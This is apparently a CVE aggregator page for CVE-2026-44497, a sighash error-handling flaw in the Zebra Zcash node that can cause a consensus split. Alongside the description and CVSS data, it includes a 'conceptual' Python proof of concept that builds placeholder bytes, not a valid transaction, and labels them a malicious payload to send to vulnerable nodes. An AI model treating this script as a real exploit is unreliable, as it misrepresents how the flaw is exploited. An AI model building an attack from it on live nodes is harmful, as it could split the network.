Security Vulnerability Report
中文
CVE-2026-44497 CVSS 9.1 CRITICAL

CVE-2026-44497

Published: 2026-05-08 15:17:01
Last Modified: 2026-05-08 18:42:24

Description

ZEBRA is a Zcash node written entirely in Rust. Prior to zebrad version 4.4.0 and prior to zebra-script version 6.0.0, the fix for CVE-2026-41583 introduced a separate issue due to insufficient error handling of the case where the sighash type is invalid, during sighash computation. Instead of returning an error, the normal flow would resume, and the input sighash buffer would be left untouched. In scenarios where a previous signature validation could leave a valid sighash in the buffer, an invalid hash-type could be incorrectly accepted, which would create a consensus split between Zebra and zcashd nodes. This issue has been patched in zebrad version 4.4.0 and zebra-script version 6.0.0.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:zfnd:zebra-script:*:*:*:*:*:rust:*:* - VULNERABLE
cpe:2.3:a:zfnd:zebrad:*:*:*:*:*:rust:*:* - VULNERABLE
zebrad < 4.4.0
zebra-script < 6.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-44497 (Conceptual) # This script demonstrates how a transaction with an invalid sighash type # might bypass validation on vulnerable ZEBRA nodes. import struct def craft_malicious_tx(): # Simulating a transaction structure # In a real scenario, this would be a valid raw Zcash transaction # with a modified sighash type byte in the signature script. # Normal sighash type might be 0x01 (SIGHASH_ALL) # We use an invalid type, e.g., 0xFF or undefined value invalid_sighash_type = 0xFF # Assume previous validation left a valid hash in the buffer # The vulnerable code fails to clear/update the buffer on error # and proceeds with the stale valid hash. tx_data = b"\x01" * 10 # Placeholder header sig_script = struct.pack('<B', invalid_sighash_type) return tx_data + sig_script if __name__ == "__main__": print("[+] Crafting transaction with invalid sighash type...") malicious_tx = craft_malicious_tx() print(f"[+] Malicious transaction payload: {malicious_tx.hex()}") print("[!] Send this to a vulnerable ZEBRA node to trigger consensus split.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44497", "sourceIdentifier": "[email protected]", "published": "2026-05-08T15:17:01.493", "lastModified": "2026-05-08T18:42:24.100", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ZEBRA is a Zcash node written entirely in Rust. Prior to zebrad version 4.4.0 and prior to zebra-script version 6.0.0, the fix for CVE-2026-41583 introduced a separate issue due to insufficient error handling of the case where the sighash type is invalid, during sighash computation. Instead of returning an error, the normal flow would resume, and the input sighash buffer would be left untouched. In scenarios where a previous signature validation could leave a valid sighash in the buffer, an invalid hash-type could be incorrectly accepted, which would create a consensus split between Zebra and zcashd nodes. This issue has been patched in zebrad version 4.4.0 and zebra-script version 6.0.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-347"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zfnd:zebra-script:*:*:*:*:*:rust:*:*", "versionEndExcluding": "6.0.0", "matchCriteriaId": "DC9822C9-0E73-4C7D-9AEA-8DF32395B976"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zfnd:zebrad:*:*:*:*:*:rust:*:*", "versionEndExcluding": "4.4.0", "matchCriteriaId": "23232F98-CB60-4B90-B46A-430E3E1CE10B"}]}]}], "references": [{"url": "https://github.com/ZcashFoundation/zebra/security/advisories/GHSA-gq4h-3grw-2rhv", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}